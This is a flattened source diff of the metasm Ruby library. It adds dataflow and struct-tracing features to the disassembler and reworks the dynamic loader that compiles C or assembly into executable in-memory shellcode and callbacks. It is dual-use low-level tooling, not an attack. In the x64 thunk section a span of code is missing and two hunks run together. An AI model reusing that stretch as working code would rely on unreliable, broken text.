pattern_scan(pat, chunksz=nil, margin=nil) + # with addr_start/length, symbol-based section are skipped + def pattern_scan(pat, addr_start=nil, length=nil, chunksz=nil, margin=nil, &b) chunksz ||= 4*1024*1024 # scan 4MB at a time margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries @@ -763,9 +923,27 @@ class Disassembler found = [] @sections.each { |sec_addr, e| + if addr_start + length ||= 0x1000_0000 + begin + if sec_addr < addr_start + next if sec_addr+e.length <= addr_start + e = e[addr_start-sec_addr, e.length] + sec_addr = addr_start + end + if sec_addr+e.length > addr_start+length + next if sec_addr > addr_start+length + e = e[0, sec_addr+e.length-(addr_start+length)] + end + rescue + puts $!, $!.message, $!.backtrace if $DEBUG + # catch arithmetic error with symbol-based section + next + end + end e.pattern_scan(pat, chunksz, margin) { |eo| match_addr = sec_addr + eo - found << match_addr if not block_given? or yield(match_addr) + found << match_addr if not b or b.call(match_addr) false } } @@ -773,14 +951,14 @@ class Disassembler end # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ - def strings_scan(minlen=6) + def strings_scan(minlen=6, &b) ret = [] nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o| + pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| if o - nexto > 0 next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm] - ret << [o, str] if not block_given? or yield(o, str) + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + ret << [o, str] if not b or b.call(o, str) nexto = o + str.length end } @@ -805,18 +983,23 @@ class Disassembler def load_map(str, off=0) str = File.read(str) rescue nil if not str.index("\n") sks = @sections.keys.sort + seen = {} str.each_line { |l| case l.strip when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - set_label_at($1.to_i(16)+off, $3) + addr = $1.to_i(16)+off + set_label_at(addr, $3, false, !seen[addr]) + seen[addr] = true when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) # could check the 1st part of the file, with section sizes, but it is not very convenient # the regexp is so that we skip the 1st part with section descriptions # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index - set_label_at(sks[$1.to_i(16)] + $2.to_i(16) + off, $3) + addr = sks[$1.to_i(16)] + $2.to_i(16) + off + set_label_at(addr, $3, false, !seen[addr]) + seen[addr] = true end - } + } end # saves the dasm state in a file @@ -830,13 +1013,14 @@ class Disassembler def save_io(fd) fd.puts 'Metasm.dasm' - if @program.filename + if @program.filename and not @program.kind_of?(Shellcode) t = @program.filename.to_s fd.puts "binarypath #{t.length}", t else t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" fd.puts "cpu #{t.length}", t # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE + # do not output binarypath, we'll be loaded as a Shellcode, 'section' will suffice end @sections.each { |a, e| @@ -942,6 +1126,7 @@ class Disassembler reinitialize Shellcode.new(cpu) @program.disassembler = self @program.init_disassembler + @sections.delete(0) # rm empty section at 0, other real 'section' follow when 'section' info = data[0, data.index("\n") || data.length] data = data[info.length, data.length] @@ -1030,7 +1215,7 @@ class Disassembler len = (len != '' ? len.to_i : nil) o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? add_xref(a, Xref.new(t, o, len)) - rescue + rescue puts "load: bad xref #{l.inspect} #$!" if $VERBOSE end } @@ -1104,12 +1289,354 @@ class Disassembler delta end + # dataflow method + # walks a function, starting at addr + # follows the usage of registers, computing the evolution from the value they had at start_addr + # whenever an instruction references the register (or anything derived from it), + # yield [di, used_register, reg_value, trace_state] where reg_value is the Expression holding the value of + # the register wrt the initial value at start_addr, and trace_state the value of all registers (reg_value + # not yet applied) + # reg_value may be nil if used_register is not modified by the function (eg call [eax]) + # the yield return value is propagated, unless it is nil/false + # init_state is a hash { :reg => initial value } + def trace_function_register(start_addr, init_state) + function_walk(start_addr, init_state) { |args| + trace_state = args.last + case args.first + when :di + di = args[2] + update = {} + get_fwdemu_binding(di).each { |r, v| + if v.kind_of?(Expression) and v.externals.find { |e| trace_state[e] } + # XXX may mix old (from trace) and current (from v) registers + newv = v.bind(trace_state) + update[r] = yield(di, r, newv, trace_state) + elsif r.kind_of?(ExpressionType) and rr = r.externals.find { |e| trace_state[e] } + # reg dereferenced in a write (eg mov [esp], 42) + next if update.has_key?(rr) # already yielded + if yield(di, rr, trace_state[rr], trace_state) == false + update[rr] = false + end + elsif trace_state[r] + # started on mov reg, foo + next if di.address == start_addr + update[r] = false + end + } + + # directly walk the instruction argument list for registers not appearing in the binding + @cpu.instr_args_memoryptr(di).each { |ind| + b = @cpu.instr_args_memoryptr_getbase(ind) + if b and b = b.symbolic and not update.has_key?(b) + yield(di, b, nil, trace_state) + end + } + @cpu.instr_args_regs(di).each { |r| + r = r.symbolic + if not update.has_key?(r) + yield(di, r, nil, trace_state) + end + } + + update.each { |r, v| + trace_state = trace_state.dup + if v + # cannot follow non-registers, or we would have to emulate every single + # instruction (try following [esp+4] across a __stdcall..) + trace_state[r] = v if r.kind_of?(::Symbol) + else + trace_state.delete r + end + } + when :subfunc + faddr = args[1] + f = @function[faddr] + f = @function[f.backtrace_binding[:thunk]] if f and f.backtrace_binding[:thunk] + if f + binding = f.backtrace_binding + if binding.empty? + backtrace_update_function_binding(faddr) + binding = f.backtrace_binding + end + # XXX fwdemu_binding ? + binding.each { |r, v| + if v.externals.find { |e| trace_state[e] } + if r.kind_of?(::Symbol) + trace_state = trace_state.dup + trace_state[r] = Expression[v.bind(trace_state)].reduce + end + elsif trace_state[r] + trace_state = trace_state.dup + trace_state.delete r + end + } + end + when :merge + # when merging paths, keep the smallest common state subset + # XXX may have unexplored froms + conflicts = args[2] + trace_state = trace_state.dup + conflicts.each { |addr, st| + trace_state.delete_if { |k, v| st[k] != v } + } + end + trace_state = false if trace_state.empty? + trace_state + } + end + + # define a register as a pointer to a structure + # rename all [reg+off] as [reg+struct.member] in current function + # also trace assignments of pointer members + def trace_update_reg_structptr(addr, reg, structname, structoff=0) + sname = soff = ctx = nil + expr_to_sname = lambda { |expr| + if not expr.kind_of?(Expression) or expr.op != :+ + sname = nil + next + end + + sname = expr.lexpr || expr.rexpr + soff = (expr.lexpr ? expr.rexpr : 0) + + if soff.kind_of?(Expression) + # ignore index in ptr array + if soff.op == :* and soff.lexpr == @cpu.size/8 + soff = 0 + elsif soff.rexpr.kind_of?(Expression) and soff.rexpr.op == :* and soff.rexpr.lexpr == @cpu.size/8 + soff = soff.lexpr + elsif soff.lexpr.kind_of?(Expression) and soff.lexpr.op == :* and soff.lexpr.lexpr == @cpu.size/8 + soff = soff.rexpr + end + elsif soff.kind_of?(::Symbol) + # array with 1 byte elements / pre-scaled idx? + if not ctx[soff] + soff = 0 + end + end + } + + lastdi = nil + trace_function_register(addr, reg => Expression[structname, :+, structoff]) { |di, r, val, trace| + + next if r.to_s =~ /flag/ # XXX maybe too ia32-specific? + + ctx = trace + @cpu.instr_args_memoryptr(di).each { |ind| + # find the structure dereference in di + b = @cpu.instr_args_memoryptr_getbase(ind) + b = b.symbolic if b + next unless trace[b] + imm = @cpu.instr_args_memoryptr_getoffset(ind) || 0 + + # check expr has the form 'traced_struct_reg + off' + expr_to_sname[trace[b] + imm] # Expr#+ calls Expr#reduce + next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) + next if not st = c_parser.toplevel.struct[sname] or not st.kind_of?(C::Union) + + # ignore lea esi, [esi+0] + next if soff == 0 and not di.backtrace_binding.find { |k, v| v-k != 0 } + + # TODO if trace[b] offset != 0, we had a lea reg, [struct+substruct_off], tweak str accordingly + + # resolve struct + off into struct.membername + str = st.name.dup + mb = st.expand_member_offset(c_parser, soff, str) + # patch di + imm = imm.rexpr if imm.kind_of?(Expression) and not imm.lexpr and imm.rexpr.kind_of?(ExpressionString) + imm = imm.expr if imm.kind_of?(ExpressionString) + @cpu.instr_args_memoryptr_setoffset(ind, ExpressionString.new(imm, str, :structoff)) + + # check if the type is an enum/bitfield, patch instruction immediates + trace_update_reg_structptr_arg_enum(di, ind, mb, str) if mb + } if lastdi != di.address + lastdi = di.address + + next Expression[structname, :+, structoff] if di.address == addr and r == reg + + # check if we need to trace 'r' further + val = val.reduce_rec if val.kind_of?(Expression) + val = Expression[val] if val.kind_of?(::String) + case val + when Expression + # only trace trivial structptr+off expressions + expr_to_sname[val] + if sname.kind_of?(::String) and soff.kind_of?(::Integer) + Expression[sname, :+, soff] + end + + when Indirection + # di is mov reg, [ptr+struct.offset] + # check if the target member is a pointer to a struct, if so, trace it + expr_to_sname[val.pointer.reduce] + + next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) + + if st = c_parser.toplevel.struct[sname] and st.kind_of?(C::Union) + pt = st.expand_member_offset(c_parser, soff, '') + pt = pt.untypedef if pt + if pt.kind_of?(C::Pointer) + tt = pt.type.untypedef + stars = '' + while tt.kind_of?(C::Pointer) + stars << '*' + tt = tt.type.untypedef + end + if tt.kind_of?(C::Union) and tt.name + Expression[tt.name + stars] + end + end + + elsif soff == 0 and sname[-1] == ?* + # XXX pointer to pointer to struct + # full C type support would be better, but harder to fit in an Expr + Expression[sname[0...-1]] + end + # in other cases, stop trace + end + } + end + + # found a special member of a struct, check if we can apply + # bitfield/enum name to other constants in the di + def trace_update_reg_structptr_arg_enum(di, ind, mb, str) + if ename = mb.has_attribute_var('enum') and enum = c_parser.toplevel.struct[ename] and enum.kind_of?(C::Enum) + # handle enums: struct moo { int __attribute__((enum(bla))) fld; }; + doit = lambda { |_di| + if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) + # handle enum values on tagged structs + if enum.members and name = enum.members.index(num_i) + num.lexpr = nil + num.op = :+ + num.rexpr = ExpressionString.new(Expression[num_i], name, :enum) + _di.add_comment "enum::#{ename}" if _di.address != di.address + end + end + } + + doit[di] + + # mov eax, [ptr+struct.enumfield] => trace eax + if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } + reg = reg.symbolic + trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| + next if r != reg and val != Expression[reg] + doit[_di] + val + } + end + + elsif mb.untypedef.kind_of?(C::Struct) + # handle bitfields + + byte_off = 0 + if str =~ /\+(\d+)$/ + # test byte [bitfield+1], 0x1 => test dword [bitfield], 0x100 + # XXX little-endian only + byte_off = $1.to_i + str[/\+\d+$/] = '' + end + cmt = str.split('.')[-2, 2].join('.') if str.count('.') > 1 + + doit = lambda { |_di, add| + if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) + # TODO handle ~num_i + num_left = num_i << add + s_or = [] + mb.untypedef.members.each { |mm| + if bo = mb.bitoffsetof(c_parser, mm) + boff, blen = bo + if mm.name && blen == 1 && ((num_left >> boff) & 1) > 0 + s_or << mm.name + num_left &= ~(1 << boff) + end + end + } + if s_or.first + if num_left != 0 + s_or << ('0x%X' % num_left) + end + s = s_or.join('|') + num.lexpr = nil + num.op = :+ + num.rexpr = ExpressionString.new(Expression[num_i], s, :bitfield) + _di.add_comment cmt if _di.address != di.address + end + end + } + + doit[di, byte_off*8] + + if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } + reg = reg.symbolic + trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| + if r.kind_of?(Expression) and r.op == :& + if r.lexpr == reg + # test al, 42 + doit[_di, byte_off*8] + elsif r.lexpr.kind_of?(Expression) and r.lexpr.op == :>> and r.lexpr.lexpr == reg + # test ah, 42 + doit[_di, byte_off*8+r.lexpr.rexpr] + end + end + next if r != reg and val != Expression[reg] + doit[_di, byte_off*8] + _di.address == di.address && r == reg ? Expression[0] : val + } + end + end + end + # change Expression display mode for current object o to display integers as char constants def toggle_expr_char(o) - return if not o.kind_of? Renderable + return if not o.kind_of?(Renderable) + tochars = lambda { |v| + if v.kind_of?(::Integer) + a = [] + vv = v.abs + a << (vv & 0xff) + vv >>= 8 + while vv > 0 + a << (vv & 0xff) + vv >>= 8 + end + if a.all? { |b| b < 0x7f } + s = a.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + ExpressionString.new(v, (v > 0 ? "'#{s}'" : "-'#{s}'"), :char) + end + end + } o.each_expr { |e| - e.render_info ||= {} - e.render_info[:char] = e.render_info[:char] ? nil : @cpu.endianness + if e.kind_of?(Expression) + if nr = tochars[e.rexpr] + e.rexpr = nr + elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :char + e.rexpr = e.rexpr.expr + end + if nl = tochars[e.lexpr] + e.lexpr = nl + elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :char + e.lexpr = e.lexpr.expr + end + end + } + end + + def toggle_expr_dec(o) + return if not o.kind_of?(Renderable) + o.each_expr { |e| + if e.kind_of?(Expression) + if e.rexpr.kind_of?(::Integer) + e.rexpr = ExpressionString.new(Expression[e.rexpr], e.rexpr.to_s, :decimal) + elsif e.rexpr.kind_of?(ExpressionString) and e.rexpr.type == :decimal + e.rexpr = e.rexpr.reduce + end + if e.lexpr.kind_of?(::Integer) + e.lexpr = ExpressionString.new(Expression[e.lexpr], e.lexpr.to_s, :decimal) + elsif e.lexpr.kind_of?(ExpressionString) and e.lexpr.type == :decimal + e.lexpr = e.lexpr.reduce + end + end } end @@ -1118,6 +1645,7 @@ class Disassembler def toggle_expr_offset(o) return if not o.kind_of? Renderable o.each_expr { |e| + next unless e.kind_of?(Expression) if n = @prog_binding[e.lexpr] e.lexpr = n elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) @@ -1133,6 +1661,15 @@ class Disassembler } end + # toggle all ExpressionStrings + def toggle_expr_str(o) + return if not o.kind_of?(Renderable) + o.each_expr { |e| + next unless e.kind_of?(ExpressionString) + e.hide_str = !e.hide_str + } + end + # call this function on a function entrypoint if the function is in fact a __noreturn # will cut the to_subfuncret of callers def fix_noreturn(o) @@ -1184,7 +1721,7 @@ class Disassembler # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd def load_plugin(plugin_filename) if not File.exist?(plugin_filename) - if File.exist?(plugin_filename+'.rb') + if File.exist?(plugin_filename+'.rb') plugin_filename += '.rb' elsif defined? Metasmdir # try autocomplete @@ -1225,7 +1762,7 @@ class Disassembler if bd2.kind_of? DecodedInstruction bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) end - + reduce = lambda { |e| Expression[Expression[e].reduce] } bd = {} @@ -1276,5 +1813,31 @@ class Disassembler bd end + + def gui_hilight_word_regexp(word) + @cpu.gui_hilight_word_regexp(word) + end + + # return a C::AllocCStruct from c_parser + # TODO handle program.class::Header.to_c_struct + def decode_c_struct(structname, addr) + if c_parser and edata = get_edata_at(addr) + c_parser.decode_c_struct(structname, edata.data, edata.ptr) + end + end + + def decode_c_ary(structname, addr, len) + if c_parser and edata = get_edata_at(addr) + c_parser.decode_c_ary(structname, len, edata.data, edata.ptr) + end + end + + # find the function containing addr, and find & rename stack vars in it + def name_local_vars(addr) + if @cpu.respond_to?(:name_local_vars) and faddr = find_function_start(addr) + @function[faddr] ||= DecodedFunction.new # XXX + @cpu.name_local_vars(self, faddr) + end + end end end diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb index 38af7becc7..67ef531509 100644 --- a/lib/metasm/metasm/dynldr.rb +++ b/lib/metasm/metasm/dynldr.rb @@ -52,15 +52,17 @@ extern VALUE *rb_cObject __attribute__((import)); extern VALUE *rb_eRuntimeError __attribute__((import)); extern VALUE *rb_eArgError __attribute__((import)); -#define Qfalse ((VALUE)0) -#define Qtrue ((VALUE)2) -#define Qnil ((VALUE)4) - // allows generating a ruby1.9 dynldr.so from ruby1.8 #ifndef DYNLDR_RUBY_19 #define DYNLDR_RUBY_19 #{RUBY_VERSION >= '1.9' ? 1 : 0} #endif +#if #{RUBY_VERSION >= '2.0' ? 1 : 0} +// flonums. WHY? +// also breaks Qtrue/Qnil +#define rb_float_new rb_float_new_in_heap +#endif + #if DYNLDR_RUBY_19 #define T_STRING 0x05 #define T_ARRAY 0x07 @@ -163,7 +165,7 @@ static VALUE memory_write(VALUE self, VALUE addr, VALUE val) static VALUE memory_write_int(VALUE self, VALUE addr, VALUE val) { *(uintptr_t *)VAL2INT(addr) = VAL2INT(val); - return Qtrue; + return 1; } static VALUE str_ptr(VALUE self, VALUE str) @@ -200,7 +202,7 @@ static VALUE sym_addr(VALUE self, VALUE lib, VALUE func) if (TYPE(func) != T_STRING && TYPE(func) != T_FIXNUM) rb_raise(*rb_eArgError, "Invalid func"); - + if (TYPE(func) == T_FIXNUM) p = os_load_sym_ord(h, VAL2INT(func)); else @@ -224,7 +226,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 64) rb_raise(*rb_eArgError, "bad args"); - + uintptr_t flags_v = VAL2INT(flags); uintptr_t ptr_v = VAL2INT(ptr); unsigned i, argsz; @@ -241,7 +243,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) ret = do_invoke_stdcall(ptr_v, argsz, args_c); else ret = do_invoke(ptr_v, argsz, args_c); - + if (flags_v & 4) return rb_ull2inum((unsigned __int64)ret); else if (flags_v & 8) @@ -257,23 +259,27 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) // callback generated by callback_alloc // heavy stack magick at work here ! // TODO float args / float retval / ret __int64 -uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0) +uintptr_t do_callback_handler(uintptr_t ori_retaddr, uintptr_t caller_id, uintptr_t arg0, uintptr_t arg_ecx __attribute__((register(ecx))), uintptr_t arg_edx __attribute__((register(edx)))) { uintptr_t *addr = &arg0; unsigned i, ret; - VALUE args = rb_ary_new2(8); + VALUE args = rb_ary_new2(10); + + // __fastcall callback args + ARY_PTR(args)[0] = INT2VAL(arg_ecx); + ARY_PTR(args)[1] = INT2VAL(arg_edx); // copy our args to a ruby-accessible buffer - for (i=0U ; i<8U ; ++i) + for (i=2U ; i<10U ; ++i) ARY_PTR(args)[i] = INT2VAL(*addr++); - RArray(args)->len = 8U; // len == 8, no need to ARY_LEN/EMBED stuff + RArray(args)->len = 10U; // len == 10, no need to ARY_LEN/EMBED stuff ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); // dynldr.callback will give us the arity (in bytes) of the callback in args[0] // we just put the stack lifting offset in caller_id for the asm stub to use caller_id = VAL2INT(ARY_PTR(args)[0]); - + return VAL2INT(ret); } @@ -290,7 +296,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16) rb_raise(*rb_eArgError, "bad args"); - + uintptr_t flags_v = VAL2INT(flags); uintptr_t ptr_v = VAL2INT(ptr); int i, argsz; @@ -312,7 +318,7 @@ static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) args_c[4], args_c[5], args_c[6], args_c[7], args_c[8], args_c[9], args_c[10], args_c[11], args_c[12], args_c[13], args_c[14], args_c[15]); - + if (flags_v & 8) return rb_float_new(fake_float()); @@ -379,8 +385,7 @@ static void *wstrcaseruby(short *s1, int len) { int i = 0; int match = 0; - - static char *want = "ruby"; // cant contain the same letter twice + char *want = "ruby"; // cant contain the same letter twice while (i < len) { if (want[match] == (s1[i] | 0x20)) { // downcase cmp @@ -474,11 +479,11 @@ int load_ruby_imports(uintptr_t rbaddr) if (rbaddr) ruby_module = find_ruby_module_mem(rbaddr); else - ruby_module = find_ruby_module_peb(); + ruby_module = find_ruby_module_peb(); if (!ruby_module) return 0; - + ptr = &ruby_import_table; table = (char*)ptr; @@ -494,7 +499,7 @@ int load_ruby_imports(uintptr_t rbaddr) #ifdef __x86_64__ #define DLL_PROCESS_ATTACH 1 -__stdcall int DllMain(void *handle, int reason, void *res) +int DllMain(void *handle, int reason, void *res) { if (reason == DLL_PROCESS_ATTACH) return load_ruby_imports(0); @@ -509,7 +514,7 @@ EOS do_invoke_fastcall: push ebp mov ebp, esp - + // load ecx/edx, fix arg/argcount mov eax, [ebp+16] mov ecx, [eax] @@ -627,7 +632,7 @@ EOS # save the shared library bin.encode_file(modulename, :lib) end - + def self.compile_binary_module_hack(bin) # this is a hack # we need the module to use ruby symbols @@ -765,7 +770,7 @@ EOS else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" end end - + # returns whether we run on linux or windows def self.host_arch case RUBY_PLATFORM @@ -788,16 +793,73 @@ EOS cp.parse(src) end - # compile a C fragment into a Shellcode, honors the host ABI + # compile a C fragment into a Shellcode_RWX, honors the host ABI def self.compile_c(src) # XXX could we reuse self.cp ? (for its macros etc) cp = C::Parser.new(host_exe.new(host_cpu)) cp.parse(src) - sc = Shellcode.new(host_cpu) + sc = Shellcode_RWX.new(host_cpu) asm = host_cpu.new_ccompiler(cp, sc).compile sc.assemble(asm) end + # maps a Shellcode_RWX in memory, fixup stdlib relocations + # returns the Shellcode_RWX, with the base_r/w/x initialized to the allocated memory + def self.sc_map_resolve(sc) + sc_map_resolve_addthunks(sc) + + sc.base_r = memory_alloc(sc.encoded_r.length) if sc.encoded_r.length > 0 + sc.base_w = memory_alloc(sc.encoded_w.length) if sc.encoded_w.length > 0 + sc.base_x = memory_alloc(sc.encoded_x.length) if sc.encoded_x.length > 0 + + locals = sc.encoded_r.export.keys | sc.encoded_w.export.keys | sc.encoded_x.export.keys + exts = sc.encoded_r.reloc_externals(locals) | sc.encoded_w.reloc_externals(locals) | sc.encoded_x.reloc_externals(locals) + bd = {} + exts.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise rescue raise "unknown symbol #{ext.inspect}" } + sc.fixup_check(bd) + + memory_write sc.base_r, sc.encoded_r.data if sc.encoded_r.length > 0 + memory_write sc.base_w, sc.encoded_w.data if sc.encoded_w.length > 0 + memory_write sc.base_x, sc.encoded_x.data if sc.encoded_x.length > 0 + + memory_perm sc.base_r, sc.encoded_r.length, 'r' if sc.encoded_r.length > 0 + memory_perm sc.base_w, sc.encoded_w.length, 'rw' if sc.encoded_w.length > 0 + memory_perm sc.base_x, sc.encoded_x.length, 'rx' if sc.encoded_x.length > 0 + + sc + end + + def self.sc_map_resolve_addthunks(sc) + case host_cpu.shortname + when 'x64' + # patch 'call moo' into 'call thunk; thunk: jmp qword [moo_ptr]' + # this is similar to ELF PLT section, allowing code to call + # into a library mapped more than 4G away + # XXX handles only 'call extern', not 'lea reg, extern' or anything else + # in this case, the linker will still raise an 'immediate overflow' + # during fixup_check in sc_map_resolve + [sc.encoded_r, sc.encoded_w, sc.encoded_x].each { |edata| + edata.reloc.dup.each { |off, rel| + # target only call extern / jmp.i32 extern + next if rel.type != :i32 + next if rel.target.op != :- + next if edata.export[rel.target.rexpr] != off+4 + next if edata.export[rel.target.lexpr] + opc = edata.data[off-1, 1].unpack('C')[0] + next if opc != 0xe8 and opc != 0xe9 + + thunk_sc = Shellcode.new(host_cpu).share_namespace(sc) + thunk = thunk_sc.assemble(< auto_cb) if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] @@ -965,6 +1027,10 @@ EOS raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb rawargs = args.dup + if host_cpu.shortname == 'ia32' and (not cb[:proto_ori] or not cb[:proto_ori].has_attribute('fastcall')) + rawargs.shift + rawargs.shift + end ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] # run it @@ -995,6 +1061,7 @@ EOS # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? def self.convert_c2rb(formal, val) formal = formal.type if formal.kind_of? C::Variable + val &= (1 << 8*cp.sizeof(formal))-1 if formal.integral? val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? val = nil if formal.pointer? and val == 0 val @@ -1019,13 +1086,8 @@ EOS if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } cp.toplevel.symbol.delete v.name if v - sc = compile_c(proto) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - # TODO fixup external calls - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' - ptr + sc = sc_map_resolve(compile_c(proto)) + sc.base_x elsif not v raise 'empty prototype' else @@ -1044,6 +1106,7 @@ EOS cb[:id] = id cb[:proc] = b cb[:proto] = proto + cb[:proto_ori] = ori cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall @@callback_table[id] = cb @@ -1058,29 +1121,34 @@ EOS # finds a free callback id, allocates a new page if needed def self.callback_find_id if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - cb_page = memory_alloc(4096) + page_size = 4096 + cb_page = memory_alloc(page_size) sc = Shellcode.new(host_cpu, cb_page) case sc.cpu.shortname when 'ia32' - addr = cb_page - nrcb = 128 # TODO should be 4096/5, but the parser/compiler is really too slow - nrcb.times { - @@callback_addrs << addr - sc.parse "call #{CALLBACK_TARGET}" - addr += 5 - } + asm = "call #{CALLBACK_TARGET}" when 'x64' - addr = cb_page - nrcb = 128 # same remark - nrcb.times { - @@callback_addrs << addr - sc.parse "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" - addr += 12 # XXX approximative.. - } + if (cb_page - CALLBACK_TARGET).abs >= 0x7fff_f000 + # cannot directly 'jmp CB_T' + asm = "1: mov rax, #{CALLBACK_TARGET} push rax lea rax, [rip-$_+1b] ret" + else + asm = "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" + end + else + raise 'Who are you?' end - sc.assemble - memory_write cb_page, sc.encode_string - memory_perm cb_page, 4096, 'rx' + + # fill the page with valid callbacks + loop do + off = sc.encoded.length + sc.assemble asm + break if sc.encoded.length > page_size + @@callback_addrs << (cb_page + off) + end + + memory_write cb_page, sc.encode_string[0, page_size] + memory_perm cb_page, page_size, 'rx' + raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } end id @@ -1090,23 +1158,17 @@ EOS # returns the raw pointer to the code page # if given a block, run the block and then undefine all the C functions & free memory def self.new_func_c(src) - sc = compile_c(src) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' + sc = sc_map_resolve(compile_c(src)) + parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... defs = [] cp.toplevel.symbol.dup.each_value { |v| next if not v.kind_of? C::Variable cp.toplevel.symbol.delete v.name next if not v.type.kind_of? C::Function or not v.initializer - next if not off = sc.encoded.export[v.name] + next if not off = sc.encoded_x.export[v.name] rbname = c_func_name_to_rb(v.name) - new_caller_for(v, rbname, ptr+off) + new_caller_for(v, rbname, sc.base_x+off) defs << rbname } if block_given? @@ -1114,16 +1176,20 @@ EOS yield ensure defs.each { |d| class << self ; self ; end.send(:remove_method, d) } - memory_free ptr + memory_free sc.base_r if sc.base_r + memory_free sc.base_w if sc.base_w + memory_free sc.base_x if sc.base_x end else - ptr + sc.base_x end end # compile an asm sequence, callable with the ABI of the C prototype given # function name comes from the prototype - def self.new_func_asm(proto, asm) + # the shellcode is mapped in read-only memory unless selfmodifyingcode is true + # note that you can use a .data section for simple writable non-executable memory + def self.new_func_asm(proto, asm, selfmodifyingcode=false) proto += "\n;" old = cp.toplevel.symbol.keys parse_c(proto) @@ -1133,38 +1199,38 @@ EOS raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer cp.toplevel.symbol.delete f.name - sc = Shellcode.assemble(host_cpu, asm) - ptr = memory_alloc(sc.encoded.length) - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' + sc = Shellcode_RWX.assemble(host_cpu, asm) + sc = sc_map_resolve(sc) + if selfmodifyingcode + memory_perm sc.base_x, sc.encoded_x.length, 'rwx' + end rbname = c_func_name_to_rb(f.name) - new_caller_for(f, rbname, ptr) + new_caller_for(f, rbname, sc.base_x) if block_given? begin yield ensure class << self ; self ; end.send(:remove_method, rbname) - memory_free ptr + memory_free sc.base_r if sc.base_r + memory_free sc.base_w if sc.base_w + memory_free sc.base_x end else - ptr - end + sc.base_x end + end # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c def self.alloc_c_struct(structname, values={}) cp.alloc_c_struct(structname, values) - end + end # return a C::AllocCStruct mapped over the string (with optionnal offset) # str may be an EncodedData def self.decode_c_struct(structname, str, off=0) str = str.data if str.kind_of? 